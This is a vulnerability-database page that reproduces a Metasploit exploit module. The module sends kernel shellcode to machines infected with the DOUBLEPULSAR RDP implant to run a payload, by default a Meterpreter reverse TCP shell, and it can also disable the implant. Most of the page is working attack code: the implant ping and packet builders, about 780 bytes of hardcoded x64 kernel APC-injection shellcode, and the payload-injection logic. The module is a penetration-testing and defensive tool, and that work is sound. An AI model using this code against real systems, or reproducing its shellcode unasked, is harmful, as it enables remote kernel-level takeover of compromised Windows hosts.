Lucene search
K

RDP DOUBLEPULSAR Remote Code Execution

This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for RDP. It can also disable the implant

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::RDP

  MAX_SHELLCODE_SIZE = 4096

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'RDP DOUBLEPULSAR Remote Code Execution',
      'Description'        => %q{
        This module executes a Metasploit payload against the Equation Group's
        DOUBLEPULSAR implant for RDP.

        While this module primarily performs code execution against the implant,
        the "Neutralize implant" target allows you to disable the implant.
      },
      'Author'             => [
        'Equation Group',  # DOUBLEPULSAR implant
        'Shadow Brokers',  # Equation Group dump
        'Luke Jennings',   # DOPU analysis and detection
        'wvu',             # RDP DOPU analysis and module
        'Tom Sellers',     # RDP DOPU analysis
        'Spencer McIntyre' # RDP DOPU analysis
      ],
      'References'         => [
        ['URL', 'https://github.com/countercept/doublepulsar-detection-script']
      ],
      'DisclosureDate'     => '2017-04-14', # Shadow Brokers leak
      'License'            => MSF_LICENSE,
      'Platform'           => 'win',
      'Arch'               => ARCH_X64,
      'Privileged'         => true,
      'Payload'            => {
        'Space'            => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
        'DisableNops'      => true
      },
      'Targets'            => [
        ['Execute payload (x64)',
          'DefaultOptions' => {
            'EXITFUNC'     => 'thread',
            'PAYLOAD'      => 'windows/x64/meterpreter/reverse_tcp'
          }
        ],
        ['Neutralize implant',
          'DefaultOptions' => {
            'PAYLOAD'      => nil # XXX: "Unset" generic payload
          }
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'AKA'              => ['DOUBLEPULSAR'],
        'RelatedModules'   => ['exploit/windows/smb/smb_doublepulsar_rce'],
        'Stability'        => [CRASH_OS_DOWN],
        'Reliability'      => [REPEATABLE_SESSION],
        'SideEffects'      => []
      }
    ))

    register_advanced_options([
      OptBool.new('DefangedMode',  [true, 'Run in defanged mode', true]),
      OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
    ])
  end

  OPCODES = {
    exec: 0x01,
    ping: 0x02,
    burn: 0x03
  }.freeze

  DOUBLEPULSAR_MAGIC = 0x19283744

  # https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
  def parse_doublepulsar_ping(res)
    return unless res && res.length == 288

    magic,    _size,     major,   minor, build = res.unpack('V5')
    sp_major, _sp_minor, _suites, prod,  arch  = res[-8..-1].unpack('v3C2')

    return unless magic == DOUBLEPULSAR_MAGIC

    ver_str = "#{major}.#{minor}.#{build}"
    sp_str  = "SP#{sp_major}"

    prod_str =
      case prod
      when 1
        'Workstation'
      when 2
        'Domain Controller'
      when 3
        'Server'
      end

    arch_str =
      case arch
      when 1
        'x86'
      when 2
        'x64'
      end

    "Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
  end

  def setup
    super

    rdp_connect
    is_rdp, server_selected_protocol = rdp_check_protocol

    fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp

    case server_selected_protocol
    when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
      fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
    when RDPConstants::PROTOCOL_SSL
      vprint_status('Swapping plain socket to SSL')
      swap_sock_plain_to_ssl
    end
  rescue Rex::ConnectionError, RdpCommunicationError => e
    fail_with(Failure::Disconnected, e.message)
  end

  def cleanup
    rdp_disconnect

    super
  end

  def check
    print_status('Sending ping to DOUBLEPULSAR')
    res = do_rdp_doublepulsar_pkt(OPCODES[:ping])

    unless (info = parse_doublepulsar_ping(res))
      print_error('DOUBLEPULSAR not detected or disabled')
      return CheckCode::Safe
    end

    print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
    print_good("Target is #{info}")
    CheckCode::Vulnerable
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute code against a nation-state implant?
        You MAY contaminate forensic evidence if there is an investigation.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    # No ForceExploit because check is accurate
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
    end

    case target.name
    when 'Execute payload (x64)'
      print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
      shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
      shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
      vprint_status("Total shellcode length: #{shellcode.length} bytes")

      print_status('Sending shellcode to DOUBLEPULSAR')
      res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
    when 'Neutralize implant'
      return neutralize_implant
    end

    if res
      fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
    end

    print_good('Payload execution successful')
  end

  def neutralize_implant
    print_status('Neutralizing DOUBLEPULSAR')
    res = do_rdp_doublepulsar_pkt(OPCODES[:burn])

    if res
      fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
    end

    print_good('Implant neutralization successful')
  end

  def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
    rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
  rescue Errno::ECONNRESET, RdpCommunicationError
    nil
  end

=begin
  MULTIPOINT-COMMUNICATION-SERVICE T.125
      DomainMCSPDU: channelJoinConfirm (15)
          channelJoinConfirm
              result: rt-domain-not-hierarchical (2)
              initiator: 14120
              requested: 6402
=end
  def make_rdp_mcs_doublepulsar(opcode, body)
    data  = "\x3c" # channelJoinConfirm
    data << [DOUBLEPULSAR_MAGIC].pack('V')
    data << [opcode].pack('v')

    if body
      data << [body.length, body.length, 0].pack('V*')
      data << body
    end

    build_data_tpdu(data)
  end

  # ring3 = user mode encoded payload
  # proc_name = process to inject APC into
  def make_kernel_user_payload(ring3, proc_name)
    sc = make_kernel_shellcode(proc_name)

    sc << [ring3.length].pack('S<')
    sc << ring3

    sc
  end

  def generate_process_hash(process)
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    proc_hash = 0
    process << "\x00"

    process.each_byte do |c|
      proc_hash = ror(proc_hash, 13)
      proc_hash += c
    end

    [proc_hash].pack('l<')
  end

  def ror(dword, bits)
    (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
  end

  def make_kernel_shellcode(proc_name)
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    # Length: 780 bytes
    "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
    "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
    "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
    "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
    "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
    "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
    "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
    "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
    "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
    "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
    "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
    "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
    "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
    generate_process_hash(proc_name.upcase) +
    "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
    "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
    "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
    "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
    "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
    "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
    "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
    "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
    "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
    "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
    "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
    "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
    "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
    "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
    "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
    "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
    "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
    "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
    "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
    "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
    "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
    "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
    "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
    "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
    "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
    "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
    "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
    "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
    "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
    "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
    "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
    "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
    "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
    "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
    "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
    "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
  end

  def kernel_shellcode_size
    make_kernel_shellcode('').length
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation